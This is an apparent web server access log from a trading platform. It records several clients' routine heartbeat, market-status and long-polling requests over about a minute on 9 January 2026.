[09/Jan/2026:13:34:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:34:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:34:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937133510 HTTP/1.1" -
[09/Jan/2026:13:34:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937127238 HTTP/1.1" -
[09/Jan/2026:13:34:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937144193 HTTP/1.1" -
[09/Jan/2026:13:34:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937128914 HTTP/1.1" -
[09/Jan/2026:13:34:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:34:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:34:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937138546 HTTP/1.1" -
[09/Jan/2026:13:34:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937132444 HTTP/1.1" -
[09/Jan/2026:13:34:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937150195 HTTP/1.1" -
[09/Jan/2026:13:34:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937133988 HTTP/1.1" -
[09/Jan/2026:13:34:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937143638 HTTP/1.1" -
[09/Jan/2026:13:34:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937137568 HTTP/1.1" -
[09/Jan/2026:13:34:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:34:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:34:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937156188 HTTP/1.1" -
[09/Jan/2026:13:34:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937139044 HTTP/1.1" -
[09/Jan/2026:13:34:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937148759 HTTP/1.1" -
[09/Jan/2026:13:34:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937142709 HTTP/1.1" -
[09/Jan/2026:13:34:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937144130 HTTP/1.1" -
[09/Jan/2026:13:34:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937162199 HTTP/1.1" -
[09/Jan/2026:13:34:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:34:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:34:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937153831 HTTP/1.1" -
[09/Jan/2026:13:34:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937147762 HTTP/1.1" -
[09/Jan/2026:13:34:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937149160 HTTP/1.1" -
[09/Jan/2026:13:34:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937168187 HTTP/1.1" -
[09/Jan/2026:13:34:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937158932 HTTP/1.1" -
[09/Jan/2026:13:34:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937152900 HTTP/1.1" -
[09/Jan/2026:13:34:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937154229 HTTP/1.1" -
[09/Jan/2026:13:34:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:34:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:34:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937163999 HTTP/1.1" -
[09/Jan/2026:13:34:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937158049 HTTP/1.1" -
[09/Jan/2026:13:34:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937174195 HTTP/1.1" -
[09/Jan/2026:13:34:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:34:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937159305 HTTP/1.1" -
[09/Jan/2026:13:34:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:34:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:34:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937169026 HTTP/1.1" -
[09/Jan/2026:13:34:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937163202 HTTP/1.1" -
[09/Jan/2026:13:34:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937180191 HTTP/1.1" -
[09/Jan/2026:13:34:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937164332 HTTP/1.1" -
[09/Jan/2026:13:34:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937174116 HTTP/1.1" -
[09/Jan/2026:13:34:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937168320 HTTP/1.1" -
[09/Jan/2026:13:35:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:35:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:35:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937186184 HTTP/1.1" -
[09/Jan/2026:13:35:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937169357 HTTP/1.1" -
[09/Jan/2026:13:35:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937179186 HTTP/1.1" -
[09/Jan/2026:13:35:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937173472 HTTP/1.1" -
[09/Jan/2026:13:35:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937174443 HTTP/1.1" -
[09/Jan/2026:13:35:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937192190 HTTP/1.1" -
[09/Jan/2026:13:35:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937184285 HTTP/1.1" -
[09/Jan/2026:13:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937178524 HTTP/1.1" -
[09/Jan/2026:13:35:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937179513 HTTP/1.1" -
[09/Jan/2026:13:35:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937198187 HTTP/1.1" -
[09/Jan/2026:13:35:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937189356 HTTP/1.1" -
[09/Jan/2026:13:35:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937183668 HTTP/1.1" -
[09/Jan/2026:13:35:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937184582 HTTP/1.1" -
[09/Jan/2026:13:35:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:35:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:35:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937194444 HTTP/1.1" -
[09/Jan/2026:13:35:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937204191 HTTP/1.1" -
[09/Jan/2026:13:35:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937188828 HTTP/1.1" -
[09/Jan/2026:13:35:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:35:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937189672 HTTP/1.1" -
[09/Jan/2026:13:35:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:35:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937199471 HTTP/1.1" -
[09/Jan/2026:13:35:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937193949 HTTP/1.1" -
[09/Jan/2026:13:35:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937210188 HTTP/1.1" -
[09/Jan/2026:13:35:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937194719 HTTP/1.1" -
[09/Jan/2026:13:35:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937204538 HTTP/1.1" -
[09/Jan/2026:13:35:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937199126 HTTP/1.1" -
[09/Jan/2026:13:35:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:35:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
